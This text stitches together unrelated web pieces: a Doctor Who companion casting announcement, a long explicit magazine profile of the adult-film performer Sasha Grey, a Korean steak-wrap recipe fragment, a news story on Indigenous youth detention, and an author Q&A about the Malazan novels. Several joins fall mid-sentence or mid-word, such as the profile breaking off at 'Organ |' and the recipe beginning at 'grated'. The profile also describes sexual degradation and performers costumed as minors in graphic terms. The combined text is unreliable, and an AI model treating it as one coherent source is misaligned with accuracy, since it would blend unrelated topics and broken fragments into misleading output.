After months of speculation and being in the dark, we finally know – The BBC has announced that Pearl Mackie (Doctors) will be stepping into the TARDIS as the Doctor’s newest companion! I can see some great “Who’s on First?” style gags brewing with this Doctor / Companion combo.
Here’s the official press release from BBC America:
BBC AMERICA today announced Pearl Mackie will join the Doctor Who cast as The Doctor’s new companion. Pearl was exclusively revealed to audiences on BBC One during half time the FA Cup semi-final on Saturday 23rd August.
On joining the cast in her first major television role, Pearl said: “I’m incredibly excited to be joining the Doctor Who family. It’s such an extraordinary British institution, I couldn’t be prouder to call the TARDIS my home! Shooting the trailer was absolutely mental, there were pyrotechnics and smoke and I met my first Dalek! I’m not sure it will ever become ‘the norm’ seeing crazy monsters on set, but I cannot wait to meet some more! The weirder the better, bring it on!”
Peter Capaldi said: “It is a genuine delight to welcome Pearl Mackie to Doctor Who. A fine, fine actress with a wonderful zest and charm, she’s a refreshing addition to the TARDIS and will bring a universe of exciting new possibilities to The Doctor’s adventures.”
This year there will be no new Doctor Who episodes, except for the Christmas special, but the show will come back in 2017, with Peter Capaldi reprising his role as the Doctor with a brand new companion.
Tell us in the comments what you think about the new Doctor Who companion.On Sasha Grey’s first X-rated film shoot, while having sex with an Italian porn star named Rocco Siffredi, Sasha angled her head toward Siffredi’s face and said, “Punch me in the stomach.” It was May 1 and Sasha—small boned, pale skinned, and brunette—had just turned 18. The movie, which has the ungainly title Fashionistas Safado: The Challenge, was directed by a man named John Stagliano and has been the most anticipated adult film of 2006. In the San Fernando Valley—which produces more pornography in a week than ancient Greece did in 1,000 years—Stagliano has enjoyed a career arc not unlike that of Steven Soderbergh. In 1989, in a movie called The Adventures of Buttman, Stagliano ditched the decades-old scenarios and stock characters of X-rated films—the pizza men and nurses and detectives and stranded motorists—and instead filmed just sex. As in Soderbergh’s sex, lies, and videotape, released the same year, Stagliano’s actors talked to the video camera about sex—and then had it. The new genre, with a nod to Colorado’s most infamous writer, was named gonzo.
Today more than 13,000 new X-rated DVD titles are released each year. The majority are gonzo. But Stagliano has since returned to making bigger-budget, story-driven films. His Fashionistas, shot partly in Las Vegas, is the adult film industry’s equivalent of an Ocean’s Eleven. It features some of the world’s best-known performers, including Siffredi, and so it was something of a fluke that Sasha ended up on the set that afternoon as his partner. She had grown up a working-class kid in Sacramento, bused tables at a steak house for a year following high school, then moved alone in April to L.A. with plans of becoming an adult film star as soon as she turned 18. She found an agent through the Internet named Mark Spiegler, who carries a client list of about 25 women. After another Fashionistas actress came down with hives, Spiegler—on a hunch—suggested his unknown, untested 18-year-old to Stagliano. In Sacramento Sasha had dated a cook at the steak house where she worked. During sex, he had introduced her to slapping, hair pulling, and other kinds of consensual degradation, and it was no surprise to Sasha that she should ask Siffredi that afternoon to punch her. It was, however, a shock to others on the set—as was the unscripted 12-person orgy Sasha joined.
As many as a thousand women arrive annually in the San Fernando Valley to perform in the industry’s 13,000 movies. In that digital glut, each actress must fight for notice. Like Sasha, every one of them knows the Valley’s gilded promise: the story of Jenna Jameson, an ex-stripper who made her first adult film in 1995, then built a career so successful that Playboy Enterprises recently bought Jameson’s media company, Club Jenna, for $17.6 million. Most new actresses disappear before attracting attention. But on that day in May, on the set of her first film, Sasha made her name in the Valley. Word of her performance leaked off the set, and by midsummer she was booked—in as many as four movies a week—all the way through Thanksgiving weekend. For an ex-busgirl from the sticks, it was an auspicious start.
Six weeks after the Fashionistas shoot wrapped, Sasha stood momentarily alone in the vast glass atrium of the L.A. Convention Center, waiting as Spiegler secured passes for the opening day of the adult film industry’s “Erotica L.A.” convention. All around her milled women in microminis and four-inch stilettos and fishnet stockings, actresses who, in attempting to cloak themselves in cartoon mystery, had taken on the fantasy names of the Valley kingdom: Alektra, Cumisha, Phyllisha, Phaedra, Naughtia, Letizia, Uschi, Cynara, and Ms. Panther. Sasha had wanted to call herself Anna Karina, after the former muse and ex-wife of French director Jean-Luc Godard. For an 18-year-old porn star with a spotty high school education, she has tastes that would make Cumisha or Ms. Panther go blank. Besides Godard, she likes the directors Michelangelo Antonioni, Werner Herzog, and Lars von Trier and reads William S. Burroughs, Anais Nin, and—who else? —Hunter S. Thompson.
“Okay,” said Spiegler, appearing with the event passes and six other actresses in tow. “Let’s go.” In part because he was once on the money-lending side of the business and because he enjoys Shakespeare’s plays, Spiegler’s business card reads MARK “SHYLOCK” SPIEGLER, “PATRON OF THE TARTS.” His company is named Spiegler Girls, the condo warren he keeps for clients who lack their own home is called the Spiegler Dorm, and any woman in his agency identifies herself publicly as a “Spiegler girl.” “There’s that new Spiegler girl,” you could hear other actresses saying, surreptitiously pointing out Sasha to friends. With the agent that day were his clients Georgia Peach, whose dominant feature had landed her in Army of Ass 10 and Big White Wet Butts 3; an actress named Bamboo, who has shown up in both Asian Take Out and Bento Box; and Tia Tanaka, whose MySpace profile reads, “I don’t really exist because I’m only a figment of your imagination. Other than that I’m a quiet and shy person.”
Taking his advice, Spiegler’s newest client dropped Anna Karina for Sasha Grey, though on days like this she could resemble the French actress. She wore a simple black dress that stopped above her small knees, and black high heels. A slight red sash gathered the dress about her waist, and her hair, looped in a ponytail, fell to one side of her face. Thin stemmed and delicate, Sasha looked nothing like the surgically enhanced women around her, who, made up in Day-Glo mascara and cornea-damaging, superreflective lip gloss, resembled garish orchids.
After just six weeks, however, she already relished playing the part of an exhibitionist. “I like the feeling of being in front of the camera, of having someone watching me have sex,” Sasha told me. But she was still a novice. “My job is to fulfill the fantasies of my fans,” she’d also say, as if she were seconding Tia Tanaka’s Web thoughts. Maybe at 32, or 45, Sasha might fully understand what she was doing today—but not at 18. Looking to the looming convention doors, she said, “I don’t know what I’m supposed to do when I get in there.” Then she followed the Spiegler girl pack inside.
Just remembering to breathe would have been a good start. Sprawled in a maze pattern over acres of convention floor space, its right pathways clogged by thousands of perspiring, yam-shaped fans, its film company booths as large as houses (one booth actually being a house), “Erotica L.A.” was tougher to negotiate than Disneyland in August. In whichever direction you turned, you were immediately assaulted by a barrage of high-def plasma wide screens on which women were busy either fellating or being sodomized. Next you were confronted by the women themselves, who had somehow materialized off the plasma to give you their autograph.
“The girls are here because they want to meet the fans,” said Spiegler, chugging up one Technicolor corridor and then steering his seven clients down the next. “But if they’re signing, they’re not meeting directors and producers. Personally, I’m not Mr. Party, but business-wise, meetings are the reason to be here, and I’ve got to go, too.” He is a small man with marsupial features who walks with a limp and both elbows hiked back in an unnatural crook—more or less what you’d expect a porn agent to look like. He is also genial, self-effacing, and well read, and about the most likable—as well as talkative—individual one can encounter on a porn set. He knows which agent just impregnated a client, which producer was banned from the set for hitting on the talent, which actress recently suffered a meltdown on a Maui shoot, and which magazine editor was known in a former life as the sadomasochist Lord Master Damien. Every dozen or so yards he would abruptly stop before a company booth, pulling over Sasha and a few other actresses to meet a new director or longtime producer.
At the Club Jenna compound, ringed by a velvet rope and several small podiums where starlets were autographing posters, Spiegler ushered Sasha in to be interviewed for the company’s Web site. In the glow of her Fashionistas buzz, Sasha had been approached by Club Jenna with a contract offer. There are two kinds of careers available to adult film actresses. They can work movie to movie, earning anywhere from $400 for a blow job scene to $1,400 for a double penetration scene to upwards of $5,000 for a gang bang scene. Or if chosen, they can contract with a company like Club Jenna, where they might be salaried at $60,000 a year and perform in a limited number of films. Sasha passed on Club Jenna’s offer. Her schedule was so busy by late June, she was on track to earn $200,000 within the year by filming as many as 150 movies—a not-unusual amount of screen time for a teenager in her first year in the business.
It wasn’t that long ago when 150 movies would have been three times what an adult film actress might accomplish in a career. In little more than a half century, the business has undergone several radical transformations. The first successful American exploitation film released nationally was titled Mom and Dad. Made in 1945 by a company called Hygienic Productions, it showed a vagina onscreen in the only way allowable at the time—as an “educational” detail in the birth of a baby. Nudist volleyball films would follow, and then the first “nudie-cutie” film, The Immoral Mr. Teas, directed in 1959 by schlockmeister Russ Meyer. In Miami, in 1971, a woman who rode with a local biker gang demonstrated a sexual technique she called “deep throat” to another woman named Linda Boreman, who was working in stag films under the name Lovelace. When Deep Throat opened in 300 theaters in 1972, it became a national sensation; even Vice President Spiro Agnew attended a screening of the movie at Frank Sinatra’s Palm Springs compound. Fifteen or so years of plot-driven X-rated films came next, until the VCR and the advent of gonzo porn—which is extremely inexpensive to produce—exploded the industry overnight.
Sasha was 11 years old when she first watched a pornographic movie in 1999. By then the computer monitor was well on its way to becoming the preferred device for viewing porn. She belongs to the first generation that has come of age with pornography streaming into the home over the Internet. For teenagers like her, the traditional divide between pop culture and porn doesn’t exist. The celebrity most fascinating to 13-year-old girls, Paris Hilton, also stars in one of the best-selling sex videos of all time. Even 18- and 19-year-old actresses in the Valley recall having favorite porn stars when they were still attending junior high school. (‘N Sync, come back–all is forgiven.) At the same time, thousands of X-rated DVDs are being released with tides containing words like teen, little, virgin, fresh, tender, barely, and legal. Many feature teenage girls being degraded sexually by much older men. It’s a new boom that requires a steady supply of
Sasha Greys who were sexualized by the same easily accessible porn they now show up in.
On the convention floor, after finishing her Club Jenna interview, Sasha explained to me, “I probably asked Rocco to punch me in the stomach that day because when you’re having sex, all the wind gets knocked out of you, and that’s a really euphoric feeling for me. Rough sex sometimes hurts, but that’s the point—that’s when the endorphins kick in and I feel good.” Spiegler worries that in a business where teenage girls and sexual degradation are colliding, his new star could cross a line. He will not allow his clients to work with certain producers because of the violence and sexual humiliation practiced on their sets. But in the Valley, where every imaginable transgression has been caught on tape, it’s hard to say where Spiegler’s line exists anymore.
“It’s true I would do stuff that might not be publishable,” Sasha said, standing in the crush outside Naughty America’s life-size tract-home-style booth. “Slapping, peeing, spit, vomit.” Reeling off her wish list, she looked demure and thoughtful. Later that summer she was scheduled to fly to San Francisco, where her vagina would be electrocuted on film. “But no shit,” she said, her one taboo.
Just then, outside the tract home, a teenage boy holding an Instamatic camera from another era nervously approached Sasha and asked to take her picture. My conversation with the starlet, the earnest kid, the ersatz house—nothing made sense. I felt like I’d forgotten to breathe. Spending time with Sasha, clothed, and hearing about her work life, unclothed, was enough to scramble any image of her I could conceive in my mind. One day I might find myself talking to her about the novelist Philip Roth, and the next I’d come across an image of her on the Internet being sodomized by a man in a bear suit. There were two disconnected Sashas, or maybe nine Sashas, all adding up at that moment on the convention floor to wild incoherence.
Sasha turned gracefully to her left, presenting for the Instamatic what she believes is the best side of her face, and offered an enigmatic, closed-lip smile. She looked like she was holding a canary in her mouth.
By July 1, about two and a half months after her 18th birthday, Sasha had been filmed in 33 X-rated movies. She had developed a routine. Every night before a shoot she would pack a suitcase with the following items: enemas, douche, distilled water, lubricant, dildos, washcloths, disinfectant, mouthwash, toothbrush, toothpaste, body wash, hand sanitizer, hairbrush, lotion, and Orbit chewing gum. The location of the next day’s shoot, owing to the vagaries of the business, might not get relayed by Spiegler to her until after 6 p.m. If an anal scene was scheduled, she would eat a light dinner, followed by an enema. When she first moved to the Valley, she found on Craigslist a small backyard pool house with no stove and no air-conditioning that rented for $1,000 a month. There she would wait alone in the heat for Spiegler’s evening calls. She saved her money and when summer came, moved into a new two-bedroom, two-bath apartment in Studio City. On her block sat condo building next to identical condo building, and when she left in the morning for work, she drove past identical Jamba Juice after identical Starbucks, Baja Fresh, Koo Koo Roo, Walgreens, Longs, Target, Lowe’s, OSH, Home Depot, Gap, Banana Republic, Pottery Barn, Chili’s, Subway, McDonald’s, Taco Bell, and Quiznos. Everything was the same but the sex, and most days crossing the Valley, Sasha had no idea where she was.
Sacramento, where Sasha was born and grew up, is centrally divided by two major boundaries—one man-made, Interstate 80, and one natural, the American River. The American flows into the Sacramento River, as does the McCloud, the Pit, the Bear, the Yuba, the San Joaquin, and the Feather. For a million years the land was marsh and watercourse and tule muck, until the swamp was vanquished by the construction of levees, dams, canals, dikes, and seepage ditches. Sacramento is an entirely artificial environment formed between watery divides. But the town’s two most impressive borders remain the 80 and the American. They split the area’s more prosperous neighborhoods, in the south, from some of the poorer quarters to the north. Sasha spent her first 18 years crossing and recrossing the river and the highway.
The most Sasha will say about her divorced parents is that her mother works for the state and her father is supported by the state. She was born north of the American, in a neighborhood named North Highlands, where the median household income is below state average, the unemployment rolls are above state average, the length of residence is below state average, and the percentage of individuals with a college degree is significantly below the state average. Before Sasha started middle school, her father had left home, moving south to another neighborhood. For a couple of years she and her mother, along with Sasha’s sister and brother, lived in an area named Antelope, which had been a tiny farming community until April 28, 1973, when a train carrying some 7,000 aircraft bombs exploded, erasing Antelope from the map. When Sasha turned 12, in 2000, her mother remarried, and the family moved south of the American into a better neighborhood. In junior high school, now surrounded by kids from wealthier families, she felt out of sorts. At home, around her stepfather and what Sasha alleges were his drug habits, she felt miserable.
At 16 Sasha informed her mother that she could no longer live in the same house with her stepfather and was planning to move out. (Although porn stars are stereotyped as victims of childhood sexual abuse, Sasha has never claimed that she was abused as a child.) Instead, her mother moved with her kids back across the American and into North Highlands. Sasha drifted from high school to high school, unhappy in each one, eventually attending four before graduating. She and her friends, she says, were too poor even to go to the movies at the mall. She spent a lot of time alone in her room getting stoned and a lot of time with friends at the park getting drunk.
When she finished high school in May 2005, Sasha’s interior life was as broken and divided as the topography of Sacramento. “I come from an underprivileged community that doesn’t have a mission,” she says. “People there take life step-by-step. They don’t believe they have futures. I earned As and Bs in high school, but when you’re in classes where you know you’ re not being taught well, those grades mean nothing to you. I became one of those anti-everything kids that come out of places like North Highlands. Nothing could make me happy.”
In the fall of 2005, she attended junior college, where she discovered the works of European directors and American novelists while taking classes in film, dance, and acting. Still, she felt disconnected inside and estranged from her surroundings. One thing that could center her was the sexual affair she had begun with the steak house cook, who was eight years her senior. “He unlocked a lot of things inside of me I hadn’t explored before,” she says. Where desire can undo other people, tearing apart the order of their lives, Sasha felt completed by it. In bed—smacked, slapped, yanked, and sodomized—she felt whole. Viewing porn with the cook, she could sense a future assembling, a mission that North Highlands hadn’t equipped her with.
“When he wasn’t around,” she says of the cook, “I started watching the porn movies to study them. I wanted to understand how the scenes played out. Could I pretzel myself into those positions? Could I get fucked like that? Where were my eyes supposed to go when the camera shifted?” By October she had decided on a career not listed in her junior college’s job placement office. “It just clicked in my head one day,” she says. “‘This,’ I thought, ‘is what I am now going to do with my life.'” Come spring, she would drive the Hyundai her mother had purchased for her to the San Fernando Valley. Her life would become an endless repetition of the act that made her indivisible. She stayed at the steak house through March, busing tables and saving $7,000, which she would use to lay waste her past—just as 7,000 aircraft bombs had once eliminated a north Sacramento neighborhood.
As summer progressed toward fall, Sasha began to feel more accomplished in her work and more knowledgeable about her likes and dislikes on the set. She didn’t like male actors who asked, “Can we get ready for the scene by fucking for a few minutes right now?” “I’m not paid to be a fluffer,” she would say. She didn’t like men who attempted to kiss her on camera. “I’m not here to make love, I’m not here to be romanced,” she would say. “I’m here to fuck.” She didn’t like partners, male or female, who showed up high on Vicodin, Valium, cocaine, or crystal meth. “If you have to be on drugs, you shouldn’t be doing porn,” she would say. Sasha estimates that about a third of the people she works with are high on something, but if you throw marijuana on that list, many in the adult film industry place the number closer to 80 percent.
Finally, she didn’t like directors who wanted to dress her up as an adolescent. “They ask you to bring along with you the clothes of a 12-year-old,” says Sasha. “Or they’ll wardrobe you in little white panties with a pink stripe. It’s awful. They’ll straighten out your hair like a young girl’s, or they’ll put on a light makeup job to produce a teenybopper’s fresh face. I’m 18—that’s the age every director wants now. And porn exists only for masturbation. But no one should be jacking off to a 14-year-old.”
Unfortunately, the age Sasha might find herself depicting in any given film is more or less out of her hands. A common opening line of dialogue in the DVDs she appears in is “Where are your parents today?” It doesn’t help matters that, naked, Sasha has the body of a young teenager—small breasted, tiny limbed, with a 14-year-old’s pouting mouth and unsure gait.
On a hot afternoon, at a house in Agoura Hills, Sasha—wearing a robe, with her hair in curlers—sat quietly in the set’s single makeup chair, which on that day was located just off the garage. Before every shoot she prepares mentally with internal self-affirmations. Like an outtake from Boogie Nights, it’s a mantra that runs along the lines of “You’re Sasha Grey, and you’re here to do good.” Most adult movies are filmed in private homes that rent for as much as $1,500 a day, existing on a location grid that stretches from Sunland to Thousand Oaks. In the Agoura makeup room a tattooed stylist named Glen walked over to Sasha and said with sympathy, “Well, sweetie, here’s the outfit they want you in.” Glen held out a yellow bra-and-panty set that didn’t look like something a woman would wear. “I hate yellow,” Sasha growled, slipping out of the chair. An actress named Missy Monroe, who had recently filmed The Da Vinci Load, walked naked into the garage, her scene for the day completed. “Okay, sweetie,” said Glen. “That’s your cue.”
Acts in adult films, listed here more or less in order of increasing pay, progress from blow job to girl-girl, boy-girl, anal, double penetration, double vaginal, double anal, and gang bang—the lingua franca for an industry whose most prized performance is as mechanical as it is mundane: swallow. Sasha’s scene, a double penetration, included two men who, when she entered the room, were lounging on couches, reminiscing about how much they loved the cycling film Breaking Away on its release—a movie made ten years before Sasha was born.
That day’s director, an excitable man named Pat Myne who was dressed in chinos and wore a scruffy blond soul patch, lay down on the floor and began snapping pictures of Sasha for the DVD’s cover. Whether she was aware of it, Sasha had just landed in the Austin Powers version of a film by one of her favorite directors—Antonioni’s Blow-Up. “That’s it, baby!” Myne motormouthed, rolling back and forth across the tile with his telephoto lens. “Give me that cute tease. I need that look—there, that’s it! So cute, so innocent, but dirty, dirty, dirty, so dirty at the same time. Oh, my little girl! My sweet little 18-year-old! Do you understand how beautiful and cute you are?” Finished, Myne stood up and faced the other men. “Okay,” he said. “Let’s fuck her.”
Off camera, Sasha speaks with a flat affect that lacks the typical inflection of women her age—the loopy high and low cadences and accompanying grimaces of teenspeak. At times her personality can come off as equally bleak. Often her sentences seem to drift out of an emotional desert, and around her I would find myself thinking, “I can’t imagine Sasha telling a really good joke.” But of her voice, at least, she is self-conscious. “I’m still trying to work on my speech patterns,” she says. “People think I’m from the South or from the country, but even friends I grew up with say, ‘Why don’t you sound like us?'”
On camera, however, she’s a cross between Dawn Upshaw and Andrew Dice Clay. She’s scary–which is the reason she’s in demand. Within the first three minutes of the shoot she’d already screamed out all but one of George Carlin’s famous seven dirty words, “piss” being the only absent noun. If I had doubts at the convention center of who Sasha Grey was, they were gone now. She was completely present and uncomplicated here in Agoura Hills. “It’s porn,” she told me before the shoot. “Make it ridiculous, make it disgusting, make it loud and filthy—that’s what I want to do on film. That’s why I’m in the business.”
This, at 18, is who Sasha Grey is. When you take the most aberrant parts inside of you, then convert them to everyday normalcy, maybe the problems of your past become a breeze. Growing up, Sasha hated her stepfather, she says, “because he had a split personality. One minute he could be sweet, the next minute a dick.” She loved her mom but loathed the weakness she saw in her—how easily she allowed herself to be manipulated by the overbearing men in her life. Sasha spoke often of the importance of maintaining her confidence, of remaining in control of her career and her life. She had, however, purposefully transplanted that life into one of the West’s more feral environments. She liked the sexual degradation. “I have a high threshold for pain,” she’d say. “I love the energy, the passion, the enthusiasm in being degraded. I want to have that.”
She didn’t consider pornography to be exploitation. Instead, it seemed, it was a test of her strengths. Where her mother had been overwhelmed by husbands, Sasha daily pitted herself against what looked to be some of the most intractable situations life offers. She complained of talent who, she said, were “weak” or “needed to be babied” or were “off their game.” The Sacramento Delta, on which she grew up, was once deemed by the Army Corps of Engineers to be the nation’s most uncontrollable river system, overwhelming its boundaries more than any other. Sasha, through the summer of 2006, was building her own levees.
Mark Spiegler drives six cars: a Cadillac Escalade, a Range Rover, a Hummer, and a Mercedes S430 and two CL500s. If he’s driving alone, he listens to Steely Dan, and if he is driving a client to the set—a trip he can make several times a day—they listen to hip-hop. In either case, on the 405, the 101, or the 118, his right foot unconsciously spars with the gas pedal, endlessly accelerating and decelerating the vehicle in rolling swells of stop-and-go progression. He talks in jags: sick clients, lost clients, stranded clients, penniless clients, upset clients, and clients who have just crashed one of the other five cars. All this information is constantly being updated by Bluetooth, a ringing in his ears that never stops. Though the agent has an assistant, he takes all calls himself, even in the shower. Thirteen hundred contacts are programmed into his cell phone, and he averages 170 calls a day. His entire existence consists of his clients’ travails, and he has not had a day off in seven years. But that work ethic is his only stable streak. Like his driving, Spiegler’s life, piloted by Bluetooth technology, is in constant flux.
One Sunday morning, in his black Escalade, Spiegler was chauffeuring a blond actress named Lorelei to a shoot in Tujunga. The director—a man named Skeeter Kerkore, whose most infamous DVD features him fitting 103 chopsticks into his then wife’s rectum—originally requested Sasha for the shoot. Off and on over the summer, due to the aggressive sex scenes she liked to film, Sasha had been incurring minor injuries that could force her to miss a day’s work. Like all other adult film actors, she tested monthly for HIV, chlamydia, and gonorrhea. While those tests had proved negative, she had alternately scratched or bruised her thighs and vagina, and today—for which Kerkove had scheduled an anal scene—she was at home with hemorrhoids.
Luckily for Spiegler, Lorelei was on call at 8 a.m. and was ready, apparently, for anything. “I want to do a sploshing video,” she enthusiastically informed Spiegler. “Girls smearing Jell-O or ketchup or chocolate sauce all over each other.” Lorelei, who was down from San Francisco, spoke with authority on the fetish community—about the popularity of clown fetishes versus balloon fetishes (balloons less scary), or plushie fetishes versus foot fetishes (feet bigger). “I think I’m beginning to cultivate an amputee fetish,” she said, giggling. “There are so many things you can do with a stump.”
“I have a girl who has a pirate fetish but also suffers from a hair phobia,” Spiegler replied. “I told her she was an oxymoron.”
While there are dozens of licensed and unlicensed adult film agents, four firms dominate the Valley: Spiegler Girls, Gold Star Modeling, Exotic Star Models, and the largest and most successful agency, L.A. Direct Models, which is run by an Englishman named Derek Hay. Where Spiegler works out of the car and his condo, L.A. Direct Models—the closest the Valley has to a CAA—consists of several offices in a Studio City high-rise, with three operators who monitor the phones. Adult talent agencies make money two ways, taking an average of 10 percent of their clients’ earnings and charging production companies an agency fee for each shoot. They also set the talent’s fees, which have been steadily rising over the last five years. When Spiegler produced films in the mid-’90s, he could pay a well-known actress $1,000 for two scenes. Today a similar actress can make $1,500 off one.
Spiegler grew up in West Hollywood in the ’60s, attended Hollywood High, then ran through a series of small jobs and get-rich-slow schemes before earning a B.A. in economics at Cal State Northridge, whereupon, he says, he began successfully investing in financial markets. In 1996, when he started producing movies, only one important agent existed in the Valley, a tall, mustachioed Texan named Jim South who had been around since the early ’70s and was a godfather-like figure. “Back then,” says Spiegler, “you just assumed that everyone was represented by South. If you had a girl on the set—even if you didn’t know whether or not he represented her—you sent a check along to South afterwards.”
As in Hollywood, Valley agencies poach talent from each other. Actresses get fed up with their agent, or their work schedule, or their morning, and move from agency to agency. Last spring, when Sasha first contacted Spiegler through his Web site, he had two major stars: an Asian woman named Katsumi and a German actress named Katja Kassin. Sasha became his third important client. But by the first week of September he’d lost Kassin to L.A. Direct Models. Agencies attract actresses with the quality and size of their client list, and any talent company would be happy with the appearance of another Jenna Jameson. Jameson first received notice in 1995, when only a couple hundred—instead of a thousand—women competed against one another in the Valley, Blond and huge breasted, she had an iconic look. The question of whether a Jameson—a Julia Roberts-like figure in the adult film business—can ever exist again floats over the Valley One theory says no. Jameson appeared just when pornography was beginning to cross over into mainstream culture—through the Playboy Channel, the Internet, Sunset Strip billboards, and the radio studios of Howard Stern. She was, according to this theory, the product of an economic moment more than anything else.
“Jameson was a phenomenon,” says Spiegler. “But because that’s what she was, another Jameson could come along.” A new Jameson would do very well for her agent, which is why Sasha can get Spiegler thinking. By September, in addition to being booked to the horizon, Sasha had two movies on schedule that were star vehicles centered on her–something no one in the Valley could recall ever happening so soon in an actress’s career.
“There may be a thousand girls in the Valley,” says Spiegler. “But only ten have that ‘It’ factor, and she’s one. She’s smart, she’s responsible, and she’s old for her age. Where my other girls want to buy brand-new BMWs, Sasha is looking to sell her Hyundai for a cheaper car just to conserve money on her insurance.” The looks of actresses and styles of pornography change and shift every few years, along with the tastes of viewers. Sasha is not blond and endowed like Jameson. But with her pale, adolescent looks and a penchant for extreme hard-core scenes, she is a girl of the moment. “I’ve never said this about an actress before,” says Spiegler, speaking from the heart, or possibly spinning. “But with the right money behind her, Sasha could be another Jenna Jameson.”
In mid-September Sasha had her mind on the upcoming AVN Awards. Organ |
grated
Suggested condiments for serving:
Cooked sushi rice
Large lettuce leaves
Chopped scallions
Slivered chilies
Fresh herbs, like Thaibasil, shiso, mint and cilantro
Thinly sliced radishes
Baby carrots, peeled and
quartered
Persian cucumbers, thinly sliced and marinated briefly with seasoned rice
vinegar and chili flakes
Thinly sliced garlic cloves
Sriracha or other chilisauce.
1. Wrap the steak in plastic and place it in the freezer while you put together the marinade. In a medium bowl, combine the soy sauce, sugar, beer, garlic, scallions, pepper, sesame oil, honey and Asian pear. Take the steak out of the freezer and slice it across the grain into 1/4-inch-thick strips. Stir the steak into the marinade and let it sit for 30 minutes, while you build a very hot fire or preheat a gas grill to its highest setting.
2. When the grill is very hot, sear the steak until nicely caramelized, 2 or 3 minutes on each side. Work in batches to avoid crowding the meat. Serve the beef with condiments and make ssam (Korean-style wraps) by folding a piece of steak or two, some rice, vegetables and herbs inside a lettuce leaf. Serves 4.'There's potential behind this razor wire': Rapper Adam Briggs explores Indigenous experience of imprisonment
Updated
A visit to Sydney's Reiby Juvenile Detention Centre left Indigenous rapper Adam Briggs with a rueful observation: "There's a lot of potential behind all this razor wire."
The award-winning artist spent a day with boys at the centre which houses New South Wales's "A Class" offenders aged 16 and under, whose crimes can vary from assault to murder.
Briggs toured the centre as part of the documentary series Over Represented that explores the Indigenous experience of imprisonment in Australia as part of the Incarceration Issue published by magazine Vice.
Anywhere from 60 to 70 per cent of boys at the Reiby centre are Indigenous.
"I remember when I was your age, a few of my cousins got locked up and that was really my first taste of someone my own age going into the system," he told them.
"That's why now it was important for me to come back and be able to talk to fellahs like yourselves and let you know that there are fellahs outside thinking about you and want to help."
On average, Indigenous youth in Australia are 24 times more likely to be jailed than their non-Indigenous peers, according to a report published earlier this year by the Australian Institute of Health and Welfare (AIHW).
In New South Wales that number is 17.5 times. In Western Australia it is 52.4 times.
Sam Lene, programs coordinator at Reiby, said there was a turnstile for some of the boys who are "in and out a lot of times".
"I've seen a boy go in 10 years old and leave here at 16," he said.
"A lot of times in their lives these boys don't have a positive role model."
The AIHW said that nationally, about 6,100 people aged 10 to 17 are under justice supervision on an average day. Nearly half are Indigenous, it said.
And for incarceration, young Indigenous people make up 6 per cent of the population aged 10 to 17 but 58 per cent of those incarcerated in the same age group.
"This system, I don't like it, never have, but it's great to see people, genuine people with a genuine heart, working with the kids to try and keep them out of the system," Briggs said.
"The difference is these kids have is the opportunities they've been afforded.
"There is a lot of potential behind this razor wire, it would be a shame to lose all that."
Briggs was moved by a meeting with 15-year-old Dizzy, who had been in the centre for six months and is made to wear an anti-suicide smock or "suicide gown".
Dizzy was playing cards with two of the centre's youth officers who were wearing helmets and face shields in case the boy spat at them.
He told Briggs that when he was released he wanted to help young Aboriginal kids and even performed an impressive rap of his own.
Dizzy, from Albury, and his story hit home for Briggs whose hometown is Shepparton, less than two hours from Albury.
"I was sitting with a young fellah with a suicide gown on who had just turned 15... he hasn't even lived a life to end it yet."
Produced with courtesy of Vice, The Incarceration Issue
Topics: indigenous-aboriginal-and-torres-strait-islander, prisons-and-punishment, youth, crime, mental-health, law-crime-and-justice, black-deaths-in-custody, nsw, airds-2560, australia, sydney-2000
First postedThe answers have come in from Ian Cameron Esslemont regarding your Orb Sceptre Throne questions.
All answers include their originating questions. And once again, a big thank you goes to Ian for taking time out of his schedule to engage in depth with fans of the Malazan series!
Question 1 (from HiroProtagonist):
great book, ice. Big fan. Just started b&b and am really into it. Question: karsa and Samar Dev. Why didn’t we get onscreen action? I got really excited at the references but then no more mentions. Did you consider them at some point and decide against it? What impact do you think they could have had? Any interactions between them and another character that piqued your interest? Thanks.
HiroProtagonist: (Great name by the way – big fan also)
Karsa and Samar were left nearby with the end of Toll. I couldn’t just ignore them and pretend they didn’t exist, but neither did I feel that OST was ‘their’ story—and Karsa being so larger than life, he would have dominated any narrative he’d become part of—so in all fairness to him and everyone else, I had to let the two of them sit this one out. I just let everyone know that they were there, but were not interested at this time.
Question 2 (from Angel K):
Hey Ian! Just finished Return of the Crimson Guard and am already about 20 pages in Stonewhielder and I would like to tell you that the books are awesome. I don’t know about the next books but would you like to write more about my favourite duo Shadowthrone and Cotillion? Also which is your favourite duo?
Angel K:
Funny you should ask such a question at this particular moment… You may, or may not know, that I am currently documenting the rise to power of these very two characters, who are also my favourite duo. The first MS is due in June, and is titled Dancer’s Lament.
Question 3 (from WeilderOfTheMonkeyBlade):
Firstly, a big thanks for all your books – I’ve read them all (apart from Assail, and that grievous offence will be rectified soon, just some pesky exams to do first… *yawn* :) ), and I’d firstly like to say I really enjoyed them all—I think Return of the Crimson Guard and Stonewielder are some of my favorites in the entire Malazan set. How did you come up with the whole idea of the mask for the Tyrant? I really liked that idea, to be honest. I got goosebumps reading the bit where the Tyrant killed those guards near the beginning – one of the standout scenes from the books for me. Also, how did you feel writing characters that, up until now, had been the domain of Steven? Of course, I don’t know which ones were your own creations and what not, but did you feel any extra pressure writing characters that Steve had been with for 1-3 books? Quite frankly I think you handled them pretty well, especially Scorch and Leff and Torvald (nomiest of noms), some of my favourites from Toll the Hounds. Finally, I’m going to have a fan boy bitch about not seeing enough of Caladan. Unfortunatly, I can’t have a go at you for not putting in more of him, I understand completely why he was in where he was… but still! Caladan Brood is amazing. It is possible I fanboy over him too much… :) Anyway, thank you for helping create the best series out there! And if you could send me a copy of Dancer’s Lament early… I’m not sure I can be so excited for so long. Anyway, next year I’ll be on a Uni budget :(
WeilderOfTheMonkeyBlade: (great name by the way)
The mask came out of various historical traditions and customs referenced and mentioned here and there in the prior books. I wanted to give a cultural background/explanation for the Seguleh masks, and to tie this in with Darujhistan’s own history. Masks also come up elsewhere on the continent, as we see in Capustan, and so I revealed the ancient historical tradition that lay behind the fashion/ritual. As to dealing with characters that had been recently treated by Steve, yes, I feel great fear and trembling there. My dread is to not do them justice, and perhaps I do not do them the full justice Steve would, but many, I must point out, were created my me originally in any case—as we have swapped characters and institutions back and forth with only an eye on what serves the narrative and the greater story arc best.
As to a copy of Dancer’s Lament—sorry, but Bantam would be very mad at me for that!
Question 4 (from TedThePenguin):
